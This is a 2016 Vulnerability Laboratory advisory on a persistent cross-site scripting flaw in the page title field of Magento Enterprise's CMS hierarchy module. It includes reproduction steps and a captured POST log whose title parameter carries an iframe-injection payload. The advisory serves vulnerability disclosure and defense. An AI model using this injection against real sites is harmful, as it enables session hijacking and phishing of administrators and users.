Document Title: =============== Magento Bug Bounty #18 - Persistent Web Vulnerability Date: ===== 2016-06-30 References: =========== http://www.vulnerability-lab.com/get_content.php?id=1464 Magento Security ID: APPSEC-1051 VL-ID: ===== 1851 Common Vulnerability Scoring System: ==================================== 3.5 Vulnerability Class: ==================== Cross Site Scripting - Persistent Introduction: ============= Magento is an open source e-commerce web application that was launched on March 31, 2008 under the name Bento. It was developed by Varien (now Magento, a division of eBay) with help from the programmers within the open source community but is now owned solely by eBay Inc. Magento was built using parts of the Zend Framework. It uses the entity-attribute-value (EAV) database model to store data. In November 2013, W3Techs estimated that Magento was used by 0.9% of all websites. Our team of security professionals works hard to keep Magento customer information secure. What`s equally important to protecting this data? Our security researchers and user community. If you find a site that isn`t following our policies, or a vulnerability inside our system, please tell us right away. ( Copy of the Vendor Homepage: http://magento.com/security & http://magento.com/security ) Abstract: ========= The Vulnerability Laboratory Core Research team discovered an application-side input validation web vulnerability in the magento enterprise online service web-application. Report-Timeline: ================ 2016-07-01: Public Disclosure (Vulnerability Laboratory) Status: ======== Published Affected Products: ================== Magento Product: Magento Imagine (Inquiries) - Online Service (Web-Application) v2016 Q2 Exploitation-Technique: ======================= Remote Severity: ========= Medium Details: ======== An application-side cross site scripting web vulnerability has been discovered in the official Magento Enterprise web-application. The vulnerability allows remote attackers to inject own script code on the application-side of the affected application module. Remote attackers are able to inject own script code to the `path to title` input of the Page Title - Path (Hierarchy) module in magentorial. Remote attackers are able to inject in the vulnerable value own script code to compromise user/moderator/admin session data. The request method to inject is POST and the attack vector is located on the application-side of the affected module. The execution occurs in the path hierarchy module and the value to inject is path to title. Exploitation of the persistent input validation web vulnerability requires a low privilege web-application user account and low or medium user interaction. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected or connected application modules (api). Vulnerable Service(s): [+] Magento Enterprise Vulnerable Module(s): [+] Module Page Title - Path (Hierarchy) Vulnerable Parameter(s): [+] path to title Proof of Concept: ================= The vulnerability can be exploited by local attackers with low privilege web-application user account with low or medium user interaction. For security demonstration or to reproduce follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Login to the magento enterprise service 2. Go to CMS > Pages > Content 3. Click add new pages 4. Write in the Page Title the payload code (injection code) save the page 5. Click Hierarchy you can see the injection code execute `title Persistent Vulnerability` PoC: Source
  • Website Root
  • --- PoC Session Logs [POST] --- 17:33:25.602[1076ms][total 1076ms] Status: 302[Moved Temporarily] POST http://enterprise-admin.user.magentotrial.com/index.php/admin/cms_page/save/key/5d63b56b59732c9b8e27163717170f908149627e78b0355d646625ac25a7a353/ Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Content Size[-1] Mime Type[text/html] Request Headers: Host[enterprise-admin.user.magentotrial.com] User-Agent[Mozilla/5.0 (X11; Linux i686; rv:39.0) Gecko/20100101 Firefox/39.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] Referer[http://enterprise-admin.user.magentotrial.com/index.php/admin/cms_page/edit/page_id/15/key/b7d39c99cffb6aeeb665d0c5ee8b8bf47f5da8cb38fc136481d331de8d3c2e04/] Cookie[adminhtml=d7jt0cghnot4vouuocnkhcl8g7] X-Forwarded-For[8.8.8.8] Connection[keep-alive] Post Data: form_key[iPwt1pYCM6PikFZC] page_id[15] title[test%22%3E%3Ciframe+src%3D%22http%3A%2F%2Fwww.vulnerability-lab.com%2F%22%3E] identifier[test] stores%5B%5D[1] is_active[0] under_version_control[1] node_ids[] website_root[1] nodes_data[%7B%22_0%22%3A%7B%22node_id%22%3A%22_0%22%2C%22page_id%22%3A%2215%22%2C%22parent_node_id%22%3Anull%2C%22label%22%3A%22test%5C%22%3E%3Ciframe+src%3D%5C%22http%3A%2F%2Fwww.vulnerability-lab.com%2F%5C%22%3E%22%2C%22sort_order%22%3A0%2C%22current_page%22%3Atrue%7D%7D] page[1] limit[20] massaction[] label[] owner[] access_level[] revisions%5Bfrom%5D[] revisions%5Bto%5D[] created_at%5Bfrom%5D[] created_at%5Bto%5D[] created_at%5Blocale%5D[en_US] Response Headers: Server[nginx] Date[Tue, 04 Aug 2015 16:36:39 GMT] Content-Type[text/html; charset=UTF-8] Transfer-Encoding[chunked] Connection[keep-alive] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0] Pragma[no-cache] Set-Cookie[adminhtml=d7jt0cghnot4vouuocnkhcl8g7; expires=Tue, 04-Aug-2015 17:36:38 GMT; path=/; domain=enterprise-admin.user.magentotrial.com; httponly] x-frame-options[SAMEORIGIN] P3p[CP="CAO PSA OUR"] Location[http://enterprise-admin.user.magentotrial.com/index.php/admin/cms_page/index/key/acec1f2538b7f2595abe144aa82e652fb4e51e40dab0b76d4761f0a612441975/] Reference(s): http://enterprise-admin.user.magentotrial.com/index.php/admin/cms_page/edit/page_id/15/key/d04c3aad32f5ae6a723eebbc976498be56b3de143943456340e6643d20a279c8/# Risk: ===== The security risk of the application-side input validation web vulnerability in the official magento enterprise web-application is estimated as medium. Credits: ======== Vulnerability Laboratory [Research Team] - Hadji Samir [samir@evolution-sec.com] Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™